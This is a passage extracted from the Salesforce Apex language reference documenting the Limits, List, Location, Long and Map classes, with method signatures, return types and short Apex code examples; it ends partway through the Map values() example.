getCpuTime()
Returns the CPU time (in milliseconds) accumulated on the Salesforce servers in the current transaction.
Signature
public static Integer getCpuTime()
2343
Limits ClassReference
Return Value
Type: Integer
getLimitCpuTime()
Returns the time limit (in milliseconds) of CPU usage in the current transaction.
Signature
public static Integer getLimitCpuTime()
Return Value
Type: Integer
getDMLRows()
Returns the number of records that have been processed with any statement that counts against DML limits, such as DML statements,
the Database.emptyRecycleBin method, and other methods.
Signature
public static Integer getDMLRows()
Return Value
Type: Integer
getLimitDMLRows()
Returns the total number of records that can be processed with any statement that counts against DML limits, such as DML statements,
the database.EmptyRecycleBin method, and other methods.
Signature
public static Integer getLimitDMLRows()
Return Value
Type: Integer
getDMLStatements()
Returns the number of DML statements (such as insert, update or the database.EmptyRecycleBin method) that have
been called.
Signature
public static Integer getDMLStatements()
2344
Limits ClassReference
Return Value
Type: Integer
getLimitDMLStatements()
Returns the total number of DML statements or the database.EmptyRecycleBin methods that can be called.
Signature
public static Integer getLimitDMLStatements()
Return Value
Type: Integer
getEmailInvocations()
Returns the number of email invocations (such as sendEmail) that have been called.
Signature
public static Integer getEmailInvocations()
Return Value
Type: Integer
getLimitEmailInvocations()
Returns the total number of email invocation (such as sendEmail) that can be called.
Signature
public static Integer getLimitEmailInvocations()
Return Value
Type: Integer
getFindSimilarCalls()
Deprecated. Returns the same value as getSoslQueries. The number of findSimilar methods is no longer a separate limit,
but is tracked as the number of SOSL queries issued.
Signature
public static Integer getFindSimilarCalls()
2345
Limits ClassReference
Return Value
Type: Integer
getLimitFindSimilarCalls()
Deprecated. Returns the same value as getLimitSoslQueries. The number of findSimilar methods is no longer a separate
limit, but is tracked as the number of SOSL queries issued.
Signature
public static Integer getLimitFindSimilarCalls()
Return Value
Type: Integer
getFutureCalls()
Returns the number of methods with the future annotation that have been executed (not necessarily completed).
Signature
public static Integer getFutureCalls()
Return Value
Type: Integer
getLimitFutureCalls()
Returns the total number of methods with the future annotation that can be executed (not necessarily completed).
Signature
public static Integer getLimitFutureCalls()
Return Value
Type: Integer
getHeapSize()
Returns the approximate amount of memory (in bytes) that has been used for the heap.
Signature
public static Integer getHeapSize()
2346
Limits ClassReference
Return Value
Type: Integer
getLimitHeapSize()
Returns the total amount of memory (in bytes) that can be used for the heap.
Signature
public static Integer getLimitHeapSize()
Return Value
Type: Integer
getMobilePushApexCalls()
Returns the number of Apex calls that have been used by mobile push notifications during the current metering interval.
Signature
public static Integer getMobilePushApexCalls()
Return Value
Type:Integer
getLimitMobilePushApexCalls()
Returns the total number of Apex calls that are allowed per transaction for mobile push notifications.
Signature
public static Integer getLimitMobilePushApexCalls()
Return Value
Type:Integer
getQueries()
Returns the number of SOQL queries that have been issued.
Signature
public static Integer getQueries()
Return Value
Type: Integer
2347
Limits ClassReference
getLimitQueries()
Returns the total number of SOQL queries that can be issued.
Signature
public static Integer getLimitQueries()
Return Value
Type: Integer
getQueryLocatorRows()
Returns the number of records that have been returned by the Database.getQueryLocator method.
Signature
public static Integer getQueryLocatorRows()
Return Value
Type: Integer
getLimitQueryLocatorRows()
Returns the total number of records that have been returned by the Database.getQueryLocator method.
Signature
public static Integer getLimitQueryLocatorRows()
Return Value
Type: Integer
getQueryRows()
Returns the number of records that have been returned by issuing SOQL queries.
Signature
public static Integer getQueryRows()
Return Value
Type: Integer
getLimitQueryRows()
Returns the total number of records that can be returned by issuing SOQL queries.
2348
Limits ClassReference
Signature
public static Integer getLimitQueryRows()
Return Value
Type: Integer
getQueueableJobs()
Returns the number of queueable jobs that have been added to the queue per transaction. A queueable job corresponds to a class that
implements the Queueable interface.
Signature
public static Integer getQueueableJobs()
Return Value
Type: Integer
getLimitQueueableJobs()
Returns the maximum number of queueable jobs that can be added to the queue per transaction. A queueable job corresponds to a
class that implements the Queueable interface.
Signature
public static Integer getLimitQueueableJobs()
Return Value
Type: Integer
getRunAs()
Deprecated. Returns the same value as getDMLStatements.
Signature
public static Integer getRunAs()
Return Value
Type: Integer
Usage
The number of RunAs methods is no longer a separate limit, but is tracked as the number of DML statements issued.
2349
Limits ClassReference
getLimitRunAs()
Deprecated. Returns the same value as getLimitDMLStatements.
Signature
public static Integer getLimitRunAs()
Return Value
Type: Integer
Usage
The number of RunAs methods is no longer a separate limit, but is tracked as the number of DML statements issued.
getSavepointRollbacks()
Deprecated. Returns the same value as getDMLStatements.
Signature
public static Integer getSavepointRollbacks()
Return Value
Type: Integer
Usage
The number of Rollback methods is no longer a separate limit, but is tracked as the number of DML statements issued.
getLimitSavepointRollbacks()
Deprecated. Returns the same value as getLimitDMLStatements.
Signature
public static Integer getLimitSavepointRollbacks()
Return Value
Type: Integer
Usage
The number of Rollback methods is no longer a separate limit, but is tracked as the number of DML statements issued.
getSavepoints()
Deprecated. Returns the same value as getDMLStatements.
2350
Limits ClassReference
Signature
public static Integer getSavepoints()
Return Value
Type: Integer
Usage
The number of setSavepoint methods is no longer a separate limit, but is tracked as the number of DML statements issued.
getLimitSavepoints()
Deprecated. Returns the same value as getLimitDMLStatements.
Signature
public static Integer getLimitSavepoints()
Return Value
Type: Integer
Usage
The number of setSavepoint methods is no longer a separate limit, but is tracked as the number of DML statements issued.
getSoslQueries()
Returns the number of SOSL queries that have been issued.
Signature
public static Integer getSoslQueries()
Return Value
Type: Integer
getLimitSoslQueries()
Returns the total number of SOSL queries that can be issued.
Signature
public static Integer getLimitSoslQueries()
Return Value
Type: Integer
2351
Limits ClassReference
List Class
Contains methods for the List collection type.
Namespace
System
Usage
The list methods are all instance methods, that is, they operate on a particular instance of a list. For example, the following removes all
elements from myList:
myList.clear();
Even though the clear method does not include any parameters, the list that calls it is its implicit parameter.
For more information on lists, see Lists on page 30.
IN THIS SECTION:
List Constructors
List Methods
List Constructors
The following are constructors for List.
IN THIS SECTION:
List<T>()
Creates a new instance of the List class. A list can hold elements of any data type T.
List<T>(listToCopy)
Creates a new instance of the List class by copying the elements from the specified list. T is the data type of the elements in both
lists and can be any data type.
List<T>(setToCopy)
Creates a new instance of the List class by copying the elements from the specified set. T is the data type of the elements in the
set and list and can be any data type.
List<T>()
Creates a new instance of the List class. A list can hold elements of any data type T.
Signature
public List<T>()
2352
List ClassReference
Example
// Create a list
List<Integer> ls1 = new List<Integer>();
// Add two integers to the list
ls1.add(1);
ls1.add(2);
List<T>(listToCopy)
Creates a new instance of the List class by copying the elements from the specified list. T is the data type of the elements in both
lists and can be any data type.
Signature
public List<T>(List<T> listToCopy)
Parameters
listToCopy
Type: List<T>
The list containing the elements to initialize this list from. T is the data type of the list elements.
Example
List<Integer> ls1 = new List<Integer>();
ls1.add(1);
ls1.add(2);
// Create a list based on an existing one
List<Integer> ls2 = new List<Integer>(ls1);
// ls2 elements are copied from ls1
System.debug(ls2);// DEBUG|(1, 2)
List<T>(setToCopy)
Creates a new instance of the List class by copying the elements from the specified set. T is the data type of the elements in the set
and list and can be any data type.
Signature
public List<T>(Set<T> setToCopy)
Parameters
setToCopy
Type: Set<T>
The set containing the elements to initialize this list with. T is the data type of the set elements.
2353
List ClassReference
Example
Set<Integer> s1 = new Set<Integer>();
s1.add(1);
s1.add(2);
// Create a list based on a set
List<Integer> ls = new List<Integer>(s1);
// ls elements are copied from s1
System.debug(ls);// DEBUG|(1, 2)
List Methods
The following are methods for List. All are instance methods.
IN THIS SECTION:
add(listElement)
Adds an element to the end of the list.
add(index, listElement)
Inserts an element into the list at the specified index position.
addAll(fromList)
Adds all of the elements in the specified list to the list that calls the method. Both lists must be of the same type.
addAll(fromSet)
Add all of the elements in specified set to the list that calls the method. The set and the list must be of the same type.
clear()
Removes all elements from a list, consequently setting the list's length to zero.
clone()
Makes a duplicate copy of a list.
deepClone(preserveId, preserveReadonlyTimestamps, preserveAutonumber)
Makes a duplicate copy of a list of sObject records, including the sObject records themselves.
equals(list2)
Compares this list with the specified list and returns true if both lists are equal; otherwise, returns false.
get(index)
Returns the list element stored at the specified index.
getSObjectType()
Returns the token of the sObject type that makes up a list of sObjects.
hashCode()
Returns the hashcode corresponding to this list and its contents.
isEmpty()
Returns true if the list has zero elements.
iterator()
Returns an instance of an iterator for this list.
remove(index)
Removes the list element stored at the specified index, returning the element that was removed.
2354
List ClassReference
set(index, listElement)
Sets the specified value for the element at the given index.
size()
Returns the number of elements in the list.
sort()
Sorts the items in the list in ascending order.
add(listElement)
Adds an element to the end of the list.
Signature
public Void add(Object listElement)
Parameters
listElement
Type: Object
Return Value
Type: Void
Example
List<Integer> myList = new List<Integer>();
myList.add(47);
Integer myNumber = myList.get(0);
system.assertEquals(47, myNumber);
add(index, listElement)
Inserts an element into the list at the specified index position.
Signature
public Void add(Integer index, Object listElement)
Parameters
index
Type: Integer
listElement
Type: Object
Return Value
Type: Void
2355
List ClassReference
Example
In the following example, a list with six elements is created, and integers are added to the first and second index positions.
List<Integer> myList = new Integer[6];
myList.add(0, 47);
myList.add(1, 52);
system.assertEquals(52, myList.get(1));
addAll(fromList)
Adds all of the elements in the specified list to the list that calls the method. Both lists must be of the same type.
Signature
public Void addAll(List fromList)
Parameters
fromList
Type: List
Return Value
Type: Void
addAll(fromSet)
Add all of the elements in specified set to the list that calls the method. The set and the list must be of the same type.
Signature
public Void addAll(Set fromSet)
Parameters
fromSet
Type: Set
Return Value
Type: Void
clear()
Removes all elements from a list, consequently setting the list's length to zero.
Signature
public Void clear()
2356
List ClassReference
Return Value
Type: Void
clone()
Makes a duplicate copy of a list.
Signature
public List<Object> clone()
Return Value
Type: List<Object>
Usage
The cloned list is of the same type as the current list.
Note that if this is a list of sObject records, the duplicate list will only be a shallow copy of the list. That is, the duplicate will have references
to each object, but the sObject records themselves will not be duplicated. For example:
To also copy the sObject records, you must use the deepClone method.
Example
Account a = new Account(Name='Acme', BillingCity='New York');
Account b = new Account();
Account[] q1 = new Account[]{a,b};
Account[] q2 = q1.clone();
q1[0].BillingCity = 'San Francisco';
System.assertEquals(
'San Francisco',
q1[0].BillingCity);
System.assertEquals(
'San Francisco',
q2[0].BillingCity);
deepClone(preserveId, preserveReadonlyTimestamps, preserveAutonumber)
Makes a duplicate copy of a list of sObject records, including the sObject records themselves.
Signature
public List<Object> deepClone(Boolean preserveId, Boolean preserveReadonlyTimestamps,
Boolean preserveAutonumber)
2357
List ClassReference
Parameters
preserveId
Type: Boolean
The optional preserveId argument determines whether the IDs of the original objects are preserved or cleared in the duplicates.
If set to true, the IDs are copied to the cloned objects. The default is false, that is, the IDs are cleared.
preserveReadonlyTimestamps
Type: Boolean
The optional preserveReadonlyTimestamps argument determines whether the read-only timestamp and user ID fields
are preserved or cleared in the duplicates. If set to true, the read-only fields CreatedById, CreatedDate,
LastModifiedById, and LastModifiedDate are copied to the cloned objects. The default is false, that is, the values
are cleared.
preserveAutonumber
Type: Boolean
The optional preserveAutonumber argument determines whether the autonumber fields of the original objects are preserved
or cleared in the duplicates. If set to true, auto number fields are copied to the cloned objects. The default is false, that is, auto
number fields are cleared.
Return Value
Type: List<Object>
Usage
The returned list is of the same type as the current list.
Note:
•deepClone only works with lists of sObjects, not with lists of primitives.
•For Apex saved using SalesforceAPI version 22.0 or earlier, the default value for the preserve_id argument is true, that
is, the IDs are preserved.
To make a shallow copy of a list without duplicating the sObject records it contains, use the clone method.
Example
This example performs a deep clone for a list with two accounts.
Account a = new Account(Name='Acme', BillingCity='New York');
Account b = new Account(Name='Salesforce');
Account[] q1 = new Account[]{a,b};
Account[] q2 = q1.deepClone();
q1[0].BillingCity = 'San Francisco';
System.assertEquals(
'San Francisco',
q1[0].BillingCity);
2358
List ClassReference
System.assertEquals(
'New York',
q2[0].BillingCity);
This example is based on the previous example and shows how to clone a list with preserved read-only timestamp and user ID fields.
insert q1;
List<Account> accts = [SELECT CreatedById, CreatedDate, LastModifiedById,
LastModifiedDate, BillingCity
FROM Account
WHERE Name='Acme' OR Name='Salesforce'];
// Clone list while preserving timestamp and user ID fields.
Account[] q3 = accts.deepClone(false,true,false);
// Verify timestamp fields are preserved for the first list element.
System.assertEquals(
accts[0].CreatedById,
q3[0].CreatedById);
System.assertEquals(
accts[0].CreatedDate,
q3[0].CreatedDate);
System.assertEquals(
accts[0].LastModifiedById,
q3[0].LastModifiedById);
System.assertEquals(
accts[0].LastModifiedDate,
q3[0].LastModifiedDate);
equals(list2)
Compares this list with the specified list and returns true if both lists are equal; otherwise, returns false.
Signature
public Boolean equals(List list2)
Parameters
list2
Type: List
The list to compare this list with.
Return Value
Type: Boolean
Usage
Two lists are equal if their elements are equal and are in the same order. The == operator is used to compare the elements of the lists.
2359
List ClassReference
The == operator is equivalent to calling the equals method, so you can call list1.equals(list2); instead of list1 ==
list2;.
get(index)
Returns the list element stored at the specified index.
Signature
public Object get(Integer index)
Parameters
index
Type: Integer
Return Value
Type: Object
Usage
To reference an element of a one-dimensional list of primitives or sObjects, you can also follow the name of the list with the element's
index position in square brackets as shown in the example.
Example
List<Integer> myList = new List<Integer>();
myList.add(47);
Integer myNumber = myList.get(0);
system.assertEquals(47, myNumber);
List<String> colors = new String[3];
colors[0] = 'Red';
colors[1] = 'Blue';
colors[2] = 'Green';
getSObjectType()
Returns the token of the sObject type that makes up a list of sObjects.
Signature
public Schema.SObjectType getSObjectType()
Return Value
Type: Schema.SObjectType
2360
List ClassReference
Usage
Use this method with describe information to determine if a list contains sObjects of a particular type.
Note that this method can only be used with lists that are composed of sObjects.
For more information, see Understanding Apex Describe Information on page 166.
Example
// Create a generic sObject variable.
SObject sObj = Database.query('SELECT Id FROM Account LIMIT 1');
// Verify if that sObject variable is an Account token.
System.assertEquals(
Account.sObjectType,
sObj.getSObjectType());
// Create a list of generic sObjects.
List<sObject> q = new Account[]{};
// Verify if the list of sObjects
// contains Account tokens.
System.assertEquals(
Account.sObjectType,
q.getSObjectType());
hashCode()
Returns the hashcode corresponding to this list and its contents.
Signature
public Integer hashCode()
Return Value
Type: Integer
isEmpty()
Returns true if the list has zero elements.
Signature
public Boolean isEmpty()
Return Value
Type: Boolean
2361
List ClassReference
iterator()
Returns an instance of an iterator for this list.
Signature
public Iterator iterator()
Return Value
Type: Iterator
Usage
From the returned iterator, you can use the iterable methods hasNext and next to iterate through the list.
Note: You do not have to implement the iterable interface to use the iterable methods with a list.
See Custom Iterators.
Example
global class CustomIterable
implements Iterator<Account>{
List<Account> accs {get; set;}
Integer i {get; set;}
public CustomIterable(){
accs =
[SELECT Id, Name,
NumberOfEmployees
FROM Account
WHERE Name = 'false'];
i = 0;
}
global boolean hasNext(){
if(i >= accs.size()) {
return false;
}else {
return true;
}
}
global Account next(){
// 8 is an arbitrary
// constant in this example
// that represents the
// maximum size of the list.
if(i == 8){return null;}
i++;
return accs[i-1];
2362
List ClassReference
}
}
remove(index)
Removes the list element stored at the specified index, returning the element that was removed.
Signature
public Object remove(Integer index)
Parameters
index
Type: Integer
Return Value
Type: Object
Example
List<String> colors = new String[3];
colors[0] = 'Red';
colors[1] = 'Blue';
colors[2] = 'Green';
String s1 = colors.remove(2);
system.assertEquals('Green', s1);
set(index, listElement)
Sets the specified value for the element at the given index.
Signature
public Void set(Integer index, Object listElement)
Parameters
index
Type: Integer
The index of the list element to set.
listElement
Type: Object
The value of the list element to set.
Return Value
Type: Void
2363
List ClassReference
Usage
To set an element of a one-dimensional list of primitives or sObjects, you can also follow the name of the list with the element's index
position in square brackets.
Example
List<Integer> myList = new Integer[6];
myList.set(0, 47);
myList.set(1, 52);
system.assertEquals(52, myList.get(1));
List<String> colors = new String[3];
colors[0] = 'Red';
colors[1] = 'Blue';
colors[2] = 'Green';
size()
Returns the number of elements in the list.
Signature
public Integer size()
Return Value
Type: Integer
Example
List<Integer> myList = new List<Integer>();
Integer size = myList.size();
system.assertEquals(0, size);
List<Integer> myList2 = new Integer[6];
Integer size2 = myList2.size();
system.assertEquals(6, size2);
sort()
Sorts the items in the list in ascending order.
Signature
public Void sort()
Return Value
Type: Void
2364
List ClassReference
Usage
Using this method, you can sort primitive types, SelectOption elements, and sObjects (standard objects and custom objects). For more
information on the sort order used for sObjects, see Sorting Lists of sObjects. You can also sort custom types (your Apex classes) if they
implement the Comparable Interface interface.
When you use sort() methods on List<Id>s that contain both 15-character and 18-character IDs, IDs for the same record sort
together in API version 35.0 and later.
Example
In the following example, the list has three elements. When the list is sorted, the first element is null because it has no value assigned
while the second element has the value of 5.
List<Integer> q1 = new Integer[3];
// Assign values to the first two elements.
q1[0] = 10;
q1[1] = 5;
q1.sort();
// First element is null, second is 5.
system.assertEquals(5, q1.get(1));
Location Class
Contains methods for accessing the component fields of geolocation compound fields.
Namespace
system
Usage
Each of these methods is also equivalent to a read-only property. For each getter method you can access the property using dot notation.
For example, myLocation.getLatitude() is equivalent to myLocation.latitude.
You can’t use dot notation to access compound fields’ subfields directly on the parent field. Instead, assign the parent field to a variable
of type Location, and then access its components.
Location loc = myAccount.MyLocation__c;
Double lat = loc.latitude;
Example
// Select and access the Location field. MyLocation__c is the name of a geolocation field
on Account.
Account[] records = [SELECT id, MyLocation__c FROM Account LIMIT 10];
for(Account acct : records) {
Location loc = acct.MyLocation__c;
Double lat = loc.latitude;
2365
Location ClassReference
Double lon = loc.longitude;
}
// Instantiate new Location objects and compute the distance between them in different
ways.
Location loc1 = Location.newInstance(28.635308,77.22496);
Location loc2 = Location.newInstance(37.7749295,-122.4194155);
Double dist = Location.getDistance(loc1, loc2, 'mi');
Double dist2 = loc1.getDistance(loc2, 'mi');
IN THIS SECTION:
Location Methods
Location Methods
The following are methods for Location.
IN THIS SECTION:
getDistance(toLocation, unit)
Calculates the distance between this location and the specified location, using an approximation of the haversine formula and the
specified unit.
getDistance(firstLocation, secondLocation, unit)
Calculates the distance between the two specified locations, using an approximation of the haversine formula and the specified
unit.
getLatitude()
Returns the latitude field of this location.
getLongitude()
Returns the longitude field of this location.
newInstance(latitude, longitude)
Creates an instance of the Location class, with the specified latitude and longitude.
getDistance(toLocation, unit)
Calculates the distance between this location and the specified location, using an approximation of the haversine formula and the
specified unit.
Signature
public Double getDistance(Location toLocation, String unit)
Parameters
toLocation
Type: Location
The Location to which you want to calculate the distance from the current Location.
2366
Location ClassReference
unit
Type: String
The distance unit you want to use: mi or km.
Return Value
Type: Double
getDistance(firstLocation, secondLocation, unit)
Calculates the distance between the two specified locations, using an approximation of the haversine formula and the specified unit.
Signature
public static Double getDistance(Location firstLocation, Location secondLocation, String
unit)
Parameters
firstLocation
Type: Location
The first of two locations used to calculate distance.
secondLocation
Type: Location
The second of two locations used to calculate distance.
unit
Type: String
The distance unit you want to use: mi or km.
Return Value
Type: Double
getLatitude()
Returns the latitude field of this location.
Signature
public Double getLatitude()
Return Value
Type: Double
getLongitude()
Returns the longitude field of this location.
2367
Location ClassReference
Signature
public Double getLongitude()
Return Value
Type: Double
newInstance(latitude, longitude)
Creates an instance of the Location class, with the specified latitude and longitude.
Signature
public static Location newInstance(Decimal latitude, Decimal longitude)
Parameters
latitude
Type: Decimal
longitude
Type: Decimal
Return Value
Type: Location
Long Class
Contains methods for the Long primitive data type.
Namespace
System
Usage
For more information on Long, see Primitive Data Types on page 27.
Long Methods
The following are methods for Long.
IN THIS SECTION:
format()
Returns the String format for this Long using the locale of the context user.
intValue()
Returns the Integer value for this Long.
2368
Long ClassReference
valueOf(stringToLong)
Returns a Long that contains the value of the specified String. As in Java, the string is interpreted as representing a signed decimal
Long.
format()
Returns the String format for this Long using the locale of the context user.
Signature
public String format()
Return Value
Type: String
Example
Long myLong = 4271990;
system.assertEquals('4,271,990', myLong.format());
intValue()
Returns the Integer value for this Long.
Signature
public Integer intValue()
Return Value
Type: Integer
Example
Long myLong = 7191991;
Integer value = myLong.intValue();
system.assertEquals(7191991, myLong.intValue());
valueOf(stringToLong)
Returns a Long that contains the value of the specified String. As in Java, the string is interpreted as representing a signed decimal Long.
Signature
public static Long valueOf(String stringToLong)
2369
Long ClassReference
Parameters
stringToLong
Type: String
Return Value
Type: Long
Example
Long L1 = long.valueOf('123456789');
Map Class
Contains methods for the Map collection type.
Namespace
System
Usage
The Map methods are all instance methods, that is, they operate on a particular instance of a map. The following are the instance methods
for maps.
Note:
•Map keys and values can be of any data type—primitive types, collections, sObjects, user-defined types, and built-in Apex
types.
•Uniqueness of map keys of user-defined types is determined by the equals and hashCode methods, which you provide
in your classes. Uniqueness of keys of all other non-primitive types, such as sObject keys, is determined by comparing the
objects’ field values.
•Map keys of type String are case-sensitive. Two keys that differ only by the case are considered unique and have corresponding
distinct Map entries. Subsequently, the Map methods, including put, get, containsKey, and remove treat these keys
as distinct.
For more information on maps, see Maps on page 33.
IN THIS SECTION:
Map Constructors
Map Methods
Map Constructors
The following are constructors for Map.
2370
Map ClassReference
IN THIS SECTION:
Map<T1,T2>()
Creates a new instance of the Map class. T1 is the data type of the keys and T2 is the data type of the values.
Map<T1,T2>(mapToCopy)
Creates a new instance of the Map class and initializes it by copying the entries from the specified map. T1 is the data type of the
keys and T2 is the data type of the values.
Map<ID,sObject>(recordList)
Creates a new instance of the Map class and populates it with the passed-in list of sObject records. The keys are populated with
the sObject IDs and the values are the sObjects.
Map<T1,T2>()
Creates a new instance of the Map class. T1 is the data type of the keys and T2 is the data type of the values.
Signature
public Map<T1,T2>()
Example
Map<Integer,String> m1 = new Map<Integer,String>();
m1.put(1, 'First item');
m1.put(2, 'Second item');
Map<T1,T2>(mapToCopy)
Creates a new instance of the Map class and initializes it by copying the entries from the specified map. T1 is the data type of the keys
and T2 is the data type of the values.
Signature
public Map<T1,T2>(Map<T1,T2> mapToCopy)
Parameters
mapToCopy
Type: Map<T1, T2>
The map to initialize this map with. T1 is the data type of the keys and T2 is the data type of the values. All map keys and values are
copied to this map.
Example
Map<Integer,String> m1 = new Map<Integer,String>();
m1.put(1, 'First item');
m1.put(2, 'Second item');
Map<Integer,String> m2 = new Map<Integer,String>(m1);
// The map elements of m2 are copied from m1
System.debug(m2);
2371
Map ClassReference
Map<ID,sObject>(recordList)
Creates a new instance of the Map class and populates it with the passed-in list of sObject records. The keys are populated with the
sObject IDs and the values are the sObjects.
Signature
public Map<ID,sObject>(List<sObject> recordList)
Parameters
recordList
Type: List<sObject>
The list of sObjects to populate the map with.
Example
List<Account> ls = [select Id,Name from Account];
Map<Id, Account> m = new Map<Id, Account>(ls);
Map Methods
The following are methods for Map. All are instance methods.
IN THIS SECTION:
clear()
Removes all of the key-value mappings from the map.
clone()
Makes a duplicate copy of the map.
containsKey(key)
Returns true if the map contains a mapping for the specified key.
deepClone()
Makes a duplicate copy of a map, including sObject records if this is a map with sObject record values.
equals(map2)
Compares this map with the specified map and returns true if both maps are equal; otherwise, returns false.
get(key)
Returns the value to which the specified key is mapped, or null if the map contains no value for this key.
getSObjectType()
Returns the token of the sObject type that makes up the map values.
hashCode()
Returns the hashcode corresponding to this map.
isEmpty()
Returns true if the map has zero key-value pairs.
2372
Map ClassReference
keySet()
Returns a set that contains all of the keys in the map.
put(key, value)
Associates the specified value with the specified key in the map.
putAll(fromMap)
Copies all of the mappings from the specified map to the original map.
putAll(sobjectArray)
Adds the list of sObject records to a map declared as Map<ID, sObject> or Map<String, sObject>.
remove(key)
Removes the mapping for the specified key from the map, if present, and returns the corresponding value.
size()
Returns the number of key-value pairs in the map.
values()
Returns a list that contains all the values in the map.
clear()
Removes all of the key-value mappings from the map.
Signature
public Void clear()
Return Value
Type: Void
clone()
Makes a duplicate copy of the map.
Signature
public Map<Object,Object> clone()
Return Value
Type: Map (of same type)
Usage
If this is a map with sObject record values, the duplicate map will only be a shallow copy of the map. That is, the duplicate will have
references to each sObject record, but the records themselves are not duplicated. For example:
To also copy the sObject records, you must use the deepClone method.
2373
Map ClassReference
Example
Account a = new Account(
Name='Acme',
BillingCity='New York');
Map<Integer, Account> map1 = new Map<Integer, Account> {};
map1.put(1, a);
Map<Integer, Account> map2 = map1.clone();
map1.get(1).BillingCity =
'San Francisco';
System.assertEquals(
'San Francisco',
map1.get(1).BillingCity);
System.assertEquals(
'San Francisco',
map2.get(1).BillingCity);
containsKey(key)
Returns true if the map contains a mapping for the specified key.
Signature
public Boolean containsKey(Object key)
Parameters
key
Type: Object
Return Value
Type: Boolean
Usage
If the key is a string, the key value is case-sensitive.
Example
Map<String,String> colorCodes = new Map<String,String>();
colorCodes.put('Red','FF0000');
colorCodes.put('Blue','0000A0');
Boolean contains = colorCodes.containsKey('Blue');
System.assertEquals(true, contains);
2374
Map ClassReference
deepClone()
Makes a duplicate copy of a map, including sObject records if this is a map with sObject record values.
Signature
public Map<Object,Object> deepClone()
Return Value
Type: Map (of the same type)
Usage
To make a shallow copy of a map without duplicating the sObject records it contains, use the clone() method.
Example
Account a = new Account(
Name='Acme',
BillingCity='New York');
Map<Integer, Account> map1 = new Map<Integer, Account> {};
map1.put(1, a);
Map<Integer, Account> map2 = map1.deepClone();
// Update the first entry of map1
map1.get(1).BillingCity = 'San Francisco';
// Verify that the BillingCity is updated in map1 but not in map2
System.assertEquals('San Francisco', map1.get(1).BillingCity);
System.assertEquals('New York', map2.get(1).BillingCity);
equals(map2)
Compares this map with the specified map and returns true if both maps are equal; otherwise, returns false.
Signature
public Boolean equals(Map map2)
Parameters
map2
Type: Map
The map2 argument is the map to compare this map with.
Return Value
Type: Boolean
2375
Map ClassReference
Usage
Two maps are equal if their key/value pairs are identical, regardless of the order of those pairs. The == operator is used to compare the
map keys and values.
The == operator is equivalent to calling the equals method, so you can call map1.equals(map2); instead of map1 ==
map2;.
get(key)
Returns the value to which the specified key is mapped, or null if the map contains no value for this key.
Signature
public Object get(Object key)
Parameters
key
Type: Object
Return Value
Type: Object
Usage
If the key is a string, the key value is case-sensitive.
Example
Map<String,String> colorCodes = new Map<String,String>();
colorCodes.put('Red','FF0000');
colorCodes.put('Blue','0000A0');
String code = colorCodes.get('Blue');
System.assertEquals('0000A0', code);
// The following is not a color in the map
String code2 = colorCodes.get('Magenta');
System.assertEquals(null, code2);
getSObjectType()
Returns the token of the sObject type that makes up the map values.
Signature
public Schema.SObjectType getSObjectType()
2376
Map ClassReference
Return Value
Type: Schema.SObjectType
Usage
Use this method with describe information, to determine if a map contains sObjects of a particular type.
Note that this method can only be used with maps that have sObject values.
For more information, see Understanding Apex Describe Information on page 166.
Example
// Create a generic sObject variable.
SObject sObj = Database.query('SELECT Id FROM Account LIMIT 1');
// Verify if that sObject variable is an Account token.
System.assertEquals(
Account.sObjectType,
sObj.getSObjectType());
// Create a map of generic sObjects
Map<Integer, Account> m = new Map<Integer, Account>();
// Verify if the map contains Account tokens.
System.assertEquals(
Account.sObjectType,
m.getSObjectType());
hashCode()
Returns the hashcode corresponding to this map.
Signature
public Integer hashCode()
Return Value
Type: Integer
isEmpty()
Returns true if the map has zero key-value pairs.
Signature
public Boolean isEmpty()
Return Value
Type: Boolean
2377
Map ClassReference
Example
Map<String,String> colorCodes = new Map<String,String>();
Boolean empty = colorCodes.isEmpty();
System.assertEquals(true, empty);
keySet()
Returns a set that contains all of the keys in the map.
Signature
public Set<Object> keySet()
Return Value
Type: Set (of key type)
Example
Map<String,String> colorCodes = new Map<String,String>();
colorCodes.put('Red','FF0000');
colorCodes.put('Blue','0000A0');
Set <String> colorSet = new Set<String>();
colorSet = colorCodes.keySet();
put(key, value)
Associates the specified value with the specified key in the map.
Signature
public Object put(Object key, Object value)
Parameters
key
Type: Object
value
Type: Object
Return Value
Type: Object
Usage
If the map previously contained a mapping for this key, the old value is returned by the method and then replaced.
2378
Map ClassReference
If the key is a string, the key value is case-sensitive.
Example
Map<String,String> colorCodes = new Map<String,String>();
colorCodes.put('Red','ff0000');
colorCodes.put('Red','#FF0000');
// Red is now #FF0000
putAll(fromMap)
Copies all of the mappings from the specified map to the original map.
Signature
public Void putAll(Map fromMap)
Parameters
fromMap
Type: Map
Return Value
Type: Void
Usage
The new mappings from fromMap replace any mappings that the original map had.
Example
Map<String,String> map1 = new Map<String,String>();
map1.put('Red','FF0000');
Map<String,String> map2 = new Map<String,String>();
map2.put('Blue','0000FF');
// Add map1 entries to map2
map2.putAll(map1);
System.assertEquals(2, map2.size());
putAll(sobjectArray)
Adds the list of sObject records to a map declared as Map<ID, sObject> or Map<String, sObject>.
Signature
public Void putAll(sObject[] sobjectArray)
2379
Map ClassReference
Parameters
sobjectArray
Type: sObject[]
Return Value
Type: Void
Usage
This method is similar to calling the Map constructor with the same input.
Example
List<Account> accts = new List<Account>();
accts.add(new Account(Name='Account1'));
accts.add(new Account(Name='Account2'));
// Insert accounts so their IDs are populated.
insert accts;
Map<Id, Account> m = new Map<Id, Account>();
// Add all the records to the map.
m.putAll(accts);
System.assertEquals(2, m.size());
remove(key)
Removes the mapping for the specified key from the map, if present, and returns the corresponding value.
Signature
public Object remove(Key key)
Parameters
key
Type: Key
Return Value
Type: Object
Usage
If the key is a string, the key value is case-sensitive.
Example
Map<String,String> colorCodes = new Map<String,String>();
colorCodes.put('Red','FF0000');
colorCodes.put('Blue','0000A0');
2380
Map ClassReference
String myColor = colorCodes.remove('Blue');
String code2 = colorCodes.get('Blue');
System.assertEquals(null, code2);
size()
Returns the number of key-value pairs in the map.
Signature
public Integer size()
Return Value
Type: Integer
Example
Map<String,String> colorCodes = new Map<String,String>();
colorCodes.put('Red','FF0000');
colorCodes.put('Blue','0000A0');
Integer mSize = colorCodes.size();
system.assertEquals(2, mSize);
values()
Returns a list that contains all the values in the map.
Signature
public List<Object> values()
Return Value
Type: List<Object>
Usage
The order of map elements is deterministic. You can rely on the order being the same in each subsequent execution of the same code.
For example, suppose the values() method returns a list containing value1 and index 0 and value2 and index 1. Subsequent
runs of the same code result in those values being returned in the same order.
Example
Map<String,String> colorCodes = new Map<String,String>();
colorCodes.put('Red','FF0000');
2381
Map ClassReference
colorCodes.put('Blue','0000A0');
List<String> colors = new List<String>();
